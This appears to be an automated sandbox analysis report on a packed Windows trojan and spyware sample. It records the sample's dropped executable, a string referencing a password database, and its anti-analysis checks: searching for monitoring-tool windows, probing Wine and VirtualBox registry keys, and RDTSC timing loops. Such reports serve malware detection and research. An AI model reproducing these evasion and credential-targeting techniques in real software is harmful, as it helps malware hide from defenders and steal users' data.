Source: file.exe, 00000000.00000003.1706330576.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696494543.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695634528.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692892270.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696941357.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693435737.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692064931.0000000005A72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1720947738.0000000005A78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1699131843.0000000005B94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694064884.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1692795611.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695196371.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693247360.0000000005BEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696279793.0000000005A74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697643062.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1722156149.00000000055F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693604629.0000000005B32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693968225.0000000005C0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1704516578.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688661921.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693684610.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1722535596.0000000000E05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697370945.0000000005C80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1698403476.0000000005C9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1698080559.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1705919779.0000000005BBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694875574.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697152878.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695089299.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696603439.0000000005A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1694981586.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686352837.00000000056F5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1691981707.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697761164.0000000005C88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1696714952.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1699721895.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1693513581.0000000005A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695420232.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1703019820.0000000005CEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1705627346.0000000005CFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1722423346.00000000056A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1724653610.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1695305143.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1697058021.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1699002147.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1705777213.0000000005A75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9980101391065831

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@2/2

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1517655343.00000000055D8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1533482778.0000000005675000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1517260814.00000000055F6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe "C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe "C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2958336 > 1048576

Source: file.exe

Static PE information: Raw size of jmvediaj is bigger than: 0x100000 < 0x2a6e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.870000.0.unpack :EW;.rsrc :W;.idata :W;jmvediaj:EW;famfwksn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;jmvediaj:EW;famfwksn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Unpacked PE file: 3.2.94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.550000.0.unpack :EW;.rsrc:W;.idata :W;aisygwgx:EW;pdrbgaqy:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x2d3a6d should be: 0x2d3c97
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: real checksum: 0x2c54ab should be: 0x2bcb13

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: jmvediaj
Source: file.exe	Static PE information: section name: famfwksn
Source: file.exe	Static PE information: section name: .taggant
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name:
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name: .idata
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name: aisygwgx
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name: pdrbgaqy
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00E1C832 push ecx; retf	0_3_00E1C858
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D8CF4C push esp; iretd	0_3_00D8CF59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D8548A pushfd ; retf	0_3_00D85499
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DABE90 pushad ; ret	0_3_00DABE95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DEEC9D push ebx; retf	0_3_00DEECA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DEEC9D push ebx; retf	0_3_00DEECA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00DFCEB3 push ebx; iretd	0_3_00DFCEB5

Source: file.exe	Static PE information: section name: entropy: 7.977471992304813
Source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe.0.dr	Static PE information: section name: entropy: 7.776956795829379

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF316 second address: 8CF321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDE8C51D4D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF321 second address: 8CF327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF327 second address: 8CF32B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CF32B second address: 8CF32F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8CEC37 second address: 8CEC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47DA9 second address: A47DC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4CEh 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FDE8CE8B4C6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48070 second address: A4807F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDE8C51D4D6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4807F second address: A48095 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE8CE8B4C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007FDE8CE8B4C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48095 second address: A48099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4831C second address: A48320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
